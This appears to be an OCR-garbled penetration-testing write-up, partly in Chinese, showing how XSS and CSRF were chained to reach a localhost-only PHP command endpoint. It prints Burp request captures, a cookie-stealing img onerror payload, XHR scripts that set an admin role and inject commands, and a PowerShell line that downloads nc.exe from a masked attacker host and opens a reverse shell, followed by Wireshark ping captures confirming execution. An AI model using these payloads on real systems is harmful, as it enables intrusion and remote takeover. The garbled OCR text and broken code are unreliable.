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_I_m_] Params ]Headers ]Hex ]

POST /adn M php HTTP/1.1

1

2 Host:

3 user-AWLinux xB6_64; rv:6B.0) Gecko/20100101 Firefox/68.0
4

4 Accept: */+
5 Accept-Language: en-US,en;q=0.5
O

5 Accept-Encoding: gzip, deflate

7 Raferar: httph

8 Content-type: application/x-www-forn-urlencoded
9 Content-Length: 7

10 Connection: close
11 Cookie:

13 cnd=dir

FHAT @4, RAW localnost il R A5 A X A Thfit .
| [ Request | Response |

M Headers ] Hex ] Render ]

1 HTTP/1.1 200 OK

2 Date: = o "R ML

3 Servel [ - /1.1.1b PHP/7.3.4
4 x-anereE-By: , -

Content-Length: T2z
Connaction: close
Content-Type: text/html; charset=UTF-8

o

]

It's only allowed to access this function from localhost (::1).fbr>
This 1s due to the recent hack attempts on our server,




Request Innspnnsn ]

J Raw ] Headers ] Hex ] Render ]

1 HTTP/1.1 200 OK

2 Date: Thu,

3 Server: Apache/2.4.39 (WinB4) OpenSSL/1.1.1b PHP/7.3.4
4 X-Powered-By: PHP/7.3.4

5 Content-Length: 40

5 Connection: close

Content-Type: text/html; charset-UTF-8

It's only allowed to use the dir command
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<img src='1"' onerror=prompt(document.cookie)/>
RGN TFE —cesrf payload,

<script>
var xhr = new XMLHttpRequest();

xhr.open("POST", "http://www.XXXXXxxXx.com/api/setrole");



xhr.setRequestHeader("Content-Type",

urlencoded");

//xhr.setRequestHeader ("Content-Type",
xhr.send('{"role":admin}");

</script>
FrxsstesrfdiAping FIEAMMWIPKREE
<script type="text/javascript">

var xhr new XMLHttpRequest();
var url="http:// XXX.XXX.XXX.XxXX/admin/xXxXxXxxxxxx.php"';
var params='cmd=dir | ping XXX.XXX.XXX.XXX';

xhr.open("POST",url,ture);

xhr.setRequestHeader("Content-Type","application/x-www-form-

urlencoded");xhr.send(params);</script>

IRz

"application/x-www-form-

"multipart/form-data”);

Wireshark%}%i”ﬂ&%%&%ICMP%&Y: H *j‘jz*ﬂaééjili{tplng

B A 2 PR 55 A%

file Edit View Go Capture Analyze Statistics Telephony Wireless Jools Help

AEZeom " RO Qeu=EF4 /=5 qaaarE

(R icmp

7N s 8 Saurea Protocol_Length info
S T 4654, .3 CHP 106 Echo (ping) reply  1d=Oxdf2c, seq=11/2816, ttl=64 (request in 53105)
53207 5102.0686979.. Icwp 100 Echo (ping) request 1d=Gxdf2c, seq=12/3872, ttl=64 (reply in 53208)
53208 5102.0687201.. IcHp 16@ Echo (ping) reply id=0xd4f2c, seq=12/3872, ttl=64 (request in 53207)
53219 5193.0706584.. e 100 Echo (ping) request 1d=0x4f2c, seq=13/3328, ttl=64 (reply in 53220)
53220 5193.0706885. oM 100 Echo (ping) reply  1d=Gxdf2c, seq=13/3328, ttl=64 (request in 53219)
53231 5104.0746935.. M 10 Echo (ping) request 1d=Gxdf2c, seq=14/3584, ttl=64 (reply in 53232)
53232 5104.0747202. ICHp 168 Echo (ping) reply id=8xdf2c, seq=14/3584, ttl=64 (request in 53231)
53242 5195.0790675.. ICHp 100 Echo (ping) request 1d=@xdf2c, /3840, ttl=64 (reply in 53243)
53243 5195.0791831.. I IcHe 100 Echo (ping) reply 10=0x472c, seq=15/3840, ttl=64 (request in 53242)
53255 5106.083287 IcHp 100 Echo (ping) request 1d=Gxdf2c, seq=16/4006, ttl=64 (reply in 53256)
53256 5196.08331. | ICHP 160 Echo (ping) reply id=0xdf2c, seq=16/4606, ttl=64 (request in 53255)
53266 5197.0879156.. . e 180 Echo (ping) request 1d=Exdf2c, seq=17/4352, ttl=64 (reply in 53267)
53267 5197.0879461.. Icue 100 Echo (ping) reply 1d=@xdf2c, seq=17/4352, ttl=64 (request in 53266)
53278 5108.0919249.. ICHP 108 Echo (ping) request id=@x4f2c, seq=18/4608, ttl=64 (reply in 53279)
53270 5108.0019487. E ICHP 108 Echo (ping) reply 1d=0xd4f2c, seq=18/4608, ttl=64 (request in 53278)
53200 5199.0966916.. . IcMP 100 Echo (ping) request 1d=Gx4f2c, seq=10/4864, ttl=64 (reply in 53291)
53291 5199.0967160.. e 100 Echo (ping) reply 1d=0x4f2c, seq=19/4864, ttl=64 (request in 53290)
53381 5200.1600805.. IcHp 188 Echo (ping) request id=Bxdf2c, seq=28/5128, ttl=64 (reply in 53382)

L s3ze2 szaa.mmL. . » L 100 Echo (ping) reply  id=Oxdf2c, seq=20/5120, ttl=64 (request in 53361)

| LR AT A 4 A ES
BESR AT A AT i & 15 B EANCE .
5 n - s mn
<script type="text/javascript">var xhr = new

XMLHttpRequest();var url="admin/xXxXXxxxxx.php"';var



params='cmd=dir | powershell -c "iwr -uri
http://XxX.xXXx.xxXx.xxx/nc.exe -outfile
%ktemp%/nncc.exe" ;%temp%/Nncc.exe XXX.XXX.XXX.XXX 1234 -e

powershell.exe"';

xhr.open("POST",url,ture);xhr.setRequestHeader("Content-
Type","application/x-www-form-

urlencoded");xhr.send(params);</script>
ffiFfHpowershell F#inc.,

powershell -c "iwr -uri XXX.XXX.XXX.xXx/nc.exe -outfile

%temp%/nncc.exe"
NC iR K, EATATLLER — T EHHH B,

temp%/nncc.exe XXX.XXX.XXX.XxX 1234 -e powershell.exe
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otal Physical Memory: . [
Available Physical Memory: 3,077 MB
irtual Memory: Max Size: 4,779 MB
irtual Memory: Available: 3,500 MB
irtual Memory: In Use: 1,279 MB
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/*! jQuery v2.0.3 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license

//@ sourceMappingURL=jquery.min.map

/IR TERFTRAENA

*/

(function (e,undefined) {var t,n,r=typeof undefined, i=e.location,o=e.document, s=o.documentEle:
{},c=[1,p="2.0.3", f=c.concat,h=c.push,d=c.slice,g=c.index0f,m=1.to5tring, y=1.hasOwnProperty
(2:\d*\. |)\d+(?2: [eE] [+-]2\d+]|) /. source, w=/\5+/qg, T=/" (2:\s* (<[\W\W]+>) [*>]* [# ([\w-]1%))5/,C=/
z])/gi,E=function(e, t) {return t.toUpperCase()},S=function() {o.removeEventListener ("DOMConte
x.fn=x.prototype={jquery:p,constructor:x,init:function(e,t,n) {var r,i;if(!e)return this;if(
<"===e.charAt (0) &&">"===e.charAt (e.length-1) &&e.length>=3?[null,e,null]:T.exec(e),!'r||!'r[1]
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